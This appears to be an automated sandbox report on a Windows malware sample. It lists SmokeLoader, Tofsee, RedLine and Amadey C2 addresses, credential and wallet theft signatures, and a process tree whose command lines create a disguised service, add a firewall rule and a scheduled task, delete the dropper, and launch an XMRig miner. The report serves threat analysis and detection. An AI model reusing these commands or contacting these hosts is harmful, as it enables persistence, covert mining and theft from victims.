Analysis

  • max time kernel
    153s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-12-2021 06:07

General

  • Target

    f86d0d79a9d784231d3ea146ccd07b4e.exe

  • Size

    324KB

  • MD5

    f86d0d79a9d784231d3ea146ccd07b4e

  • SHA1

    bcbff823c7d54627b3428f847aa300849af1a31f

  • SHA256

    d5e488a3b12ac3656c376de4323ecd5e1d5b61877ed6efa2f3d30be09cd197f2

  • SHA512

    5fa4937c65c955242b77b15d8ee00b07203a03b94bc1d408fe79562ee787cf6dca0a13c749b96ed8b4d47c21157df26b0ac9b381ba23f94d58bbaafd36f1ed3d

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

mubrikych.top

oxxyfix.xyz

Extracted

Family

redline

Botnet

1

C2

86.107.197.138:38133

Extracted

Family

redline

Botnet

install

C2

62.182.156.187:56323

Extracted

Family

amadey

Version

2.86

C2

185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f86d0d79a9d784231d3ea146ccd07b4e.exe
    "C:\Users\Admin\AppData\Local\Temp\f86d0d79a9d784231d3ea146ccd07b4e.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3792
    • C:\Users\Admin\AppData\Local\Temp\f86d0d79a9d784231d3ea146ccd07b4e.exe
      "C:\Users\Admin\AppData\Local\Temp\f86d0d79a9d784231d3ea146ccd07b4e.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2376
  • C:\Users\Admin\AppData\Local\Temp\7182.exe
    C:\Users\Admin\AppData\Local\Temp\7182.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3744
  • C:\Users\Admin\AppData\Local\Temp\C89C.exe
    C:\Users\Admin\AppData\Local\Temp\C89C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Users\Admin\AppData\Local\Temp\C89C.exe
      C:\Users\Admin\AppData\Local\Temp\C89C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3588
  • C:\Users\Admin\AppData\Local\Temp\D7A1.exe
    C:\Users\Admin\AppData\Local\Temp\D7A1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:2108
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D7A1.exe" & exit
      2⤵
        PID:2148
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:2380
    • C:\Users\Admin\AppData\Local\Temp\DFB1.exe
      C:\Users\Admin\AppData\Local\Temp\DFB1.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:856
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vqyaksxq\
        2⤵
          PID:3820
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hmwkfarc.exe" C:\Windows\SysWOW64\vqyaksxq\
          2⤵
            PID:1968
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create vqyaksxq binPath= "C:\Windows\SysWOW64\vqyaksxq\hmwkfarc.exe /d\"C:\Users\Admin\AppData\Local\Temp\DFB1.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:768
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description vqyaksxq "wifi internet conection"
              2⤵
                PID:1712
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start vqyaksxq
                2⤵
                  PID:672
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:504
                • C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                  C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:952
                  • C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                    C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1380
                  • C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                    C:\Users\Admin\AppData\Local\Temp\E3C8.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3116
                • C:\Users\Admin\AppData\Local\Temp\EDBC.exe
                  C:\Users\Admin\AppData\Local\Temp\EDBC.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3440
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:1744
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:1712
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:3260
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:2892
                    • C:\Users\Admin\AppData\Local\Temp\F455.exe
                      C:\Users\Admin\AppData\Local\Temp\F455.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2356
                    • C:\Users\Admin\AppData\Local\Temp\F7D0.exe
                      C:\Users\Admin\AppData\Local\Temp\F7D0.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1564
                      • C:\Users\Admin\AppData\Local\Temp\F7D0.exe
                        C:\Users\Admin\AppData\Local\Temp\F7D0.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1496
                    • C:\Users\Admin\AppData\Local\Temp\629.exe
                      C:\Users\Admin\AppData\Local\Temp\629.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      PID:384
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                        2⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3212
                    • C:\Windows\SysWOW64\vqyaksxq\hmwkfarc.exe
                      C:\Windows\SysWOW64\vqyaksxq\hmwkfarc.exe /d"C:\Users\Admin\AppData\Local\Temp\DFB1.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:3112
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:2336
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3664
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                      • Accesses Microsoft Outlook profiles
                      • outlook_office_path
                      • outlook_win_path
                      PID:3692
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:8
                      • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1752

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/8-242-0x00000000009F0000-0x00000000009FC000-memory.dmp

                        Filesize

                        48KB

                      • memory/8-241-0x0000000000C00000-0x0000000000C07000-memory.dmp

                        Filesize

                        28KB

                      • memory/384-232-0x0000000000A40000-0x0000000000A41000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-231-0x0000000000A30000-0x0000000000A31000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-228-0x0000000000A10000-0x0000000000A11000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-236-0x0000000000A60000-0x0000000000A61000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-225-0x00000000005C0000-0x00000000005C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-230-0x0000000000A20000-0x0000000000A21000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-237-0x0000000000C80000-0x0000000001731000-memory.dmp

                        Filesize

                        10.7MB

                      • memory/384-226-0x00000000005D0000-0x00000000005D1000-memory.dmp

                        Filesize

                        4KB

                      • memory/384-240-0x0000000000A50000-0x0000000000A51000-memory.dmp

                        Filesize

                        4KB

                      • memory/856-164-0x00000000020D0000-0x00000000020E3000-memory.dmp

                        Filesize

                        76KB

                      • memory/856-166-0x0000000000400000-0x00000000004D1000-memory.dmp

                        Filesize

                        836KB

                      • memory/952-148-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/952-147-0x00000000049F0000-0x00000000049F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/952-146-0x0000000004A10000-0x0000000004A11000-memory.dmp

                        Filesize

                        4KB

                      • memory/952-144-0x00000000001A0000-0x00000000001A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/952-149-0x0000000002410000-0x0000000002411000-memory.dmp

                        Filesize

                        4KB

                      • memory/952-150-0x00000000052C0000-0x00000000052C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1496-223-0x0000000004F40000-0x0000000005546000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/1496-208-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/1564-185-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1564-186-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1564-175-0x0000000000520000-0x0000000000521000-memory.dmp

                        Filesize

                        4KB

                      • memory/1744-284-0x00000000004E0000-0x000000000058E000-memory.dmp

                        Filesize

                        696KB

                      • memory/1744-285-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/1752-298-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/1752-297-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2108-153-0x0000000000400000-0x00000000004D2000-memory.dmp

                        Filesize

                        840KB

                      • memory/2108-151-0x0000000000766000-0x0000000000778000-memory.dmp

                        Filesize

                        72KB

                      • memory/2108-152-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2336-271-0x00000000032C0000-0x00000000032D5000-memory.dmp

                        Filesize

                        84KB

                      • memory/2356-252-0x0000000005157000-0x0000000005159000-memory.dmp

                        Filesize

                        8KB

                      • memory/2356-190-0x0000000005154000-0x0000000005155000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-171-0x0000000000860000-0x0000000000898000-memory.dmp

                        Filesize

                        224KB

                      • memory/2356-169-0x0000000000730000-0x000000000087A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2356-189-0x0000000005153000-0x0000000005154000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-162-0x00000000001F0000-0x00000000001F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-168-0x0000000000730000-0x000000000087A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/2356-178-0x0000000000872000-0x0000000000896000-memory.dmp

                        Filesize

                        144KB

                      • memory/2356-249-0x00000000065D0000-0x00000000065D1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-188-0x0000000005152000-0x0000000005153000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-181-0x0000000000610000-0x0000000000633000-memory.dmp

                        Filesize

                        140KB

                      • memory/2356-184-0x0000000005B60000-0x0000000005B61000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-187-0x0000000005150000-0x0000000005151000-memory.dmp

                        Filesize

                        4KB

                      • memory/2356-165-0x0000000000400000-0x0000000000523000-memory.dmp

                        Filesize

                        1.1MB

                      • memory/2356-161-0x0000000000400000-0x0000000000523000-memory.dmp

                        Filesize

                        1.1MB

                      • memory/2356-250-0x0000000006650000-0x0000000006651000-memory.dmp

                        Filesize

                        4KB

                      • memory/2376-117-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/2648-133-0x0000000000746000-0x0000000000757000-memory.dmp

                        Filesize

                        68KB

                      • memory/2648-140-0x00000000004E0000-0x000000000062A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3036-126-0x00000000023C0000-0x00000000023D6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3036-163-0x00000000047A0000-0x00000000047B6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3036-119-0x0000000000A20000-0x0000000000A36000-memory.dmp

                        Filesize

                        88KB

                      • memory/3112-270-0x0000000000400000-0x00000000004D1000-memory.dmp

                        Filesize

                        836KB

                      • memory/3116-203-0x00000000051F0000-0x00000000051F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-195-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/3116-263-0x0000000006C30000-0x0000000006C31000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-216-0x00000000050E0000-0x00000000056E6000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/3116-204-0x00000000050E0000-0x00000000050E1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-200-0x00000000056F0000-0x00000000056F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-211-0x0000000005120000-0x0000000005121000-memory.dmp

                        Filesize

                        4KB

                      • memory/3116-202-0x0000000002A10000-0x0000000002A11000-memory.dmp

                        Filesize

                        4KB

                      • memory/3212-312-0x0000000005360000-0x0000000005966000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/3440-245-0x0000000000400000-0x00000000004D6000-memory.dmp

                        Filesize

                        856KB

                      • memory/3440-243-0x00000000005F0000-0x000000000073A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3440-234-0x0000000000796000-0x00000000007B4000-memory.dmp

                        Filesize

                        120KB

                      • memory/3692-229-0x00000000006C0000-0x000000000072B000-memory.dmp

                        Filesize

                        428KB

                      • memory/3692-227-0x0000000000730000-0x00000000007A4000-memory.dmp

                        Filesize

                        464KB

                      • memory/3744-125-0x0000000000400000-0x00000000004CD000-memory.dmp

                        Filesize

                        820KB

                      • memory/3744-124-0x0000000001F60000-0x0000000001F69000-memory.dmp

                        Filesize

                        36KB

                      • memory/3792-116-0x0000000000650000-0x0000000000659000-memory.dmp

                        Filesize

                        36KB

                      • memory/3792-115-0x00000000006E6000-0x00000000006F7000-memory.dmp

                        Filesize

                        68KB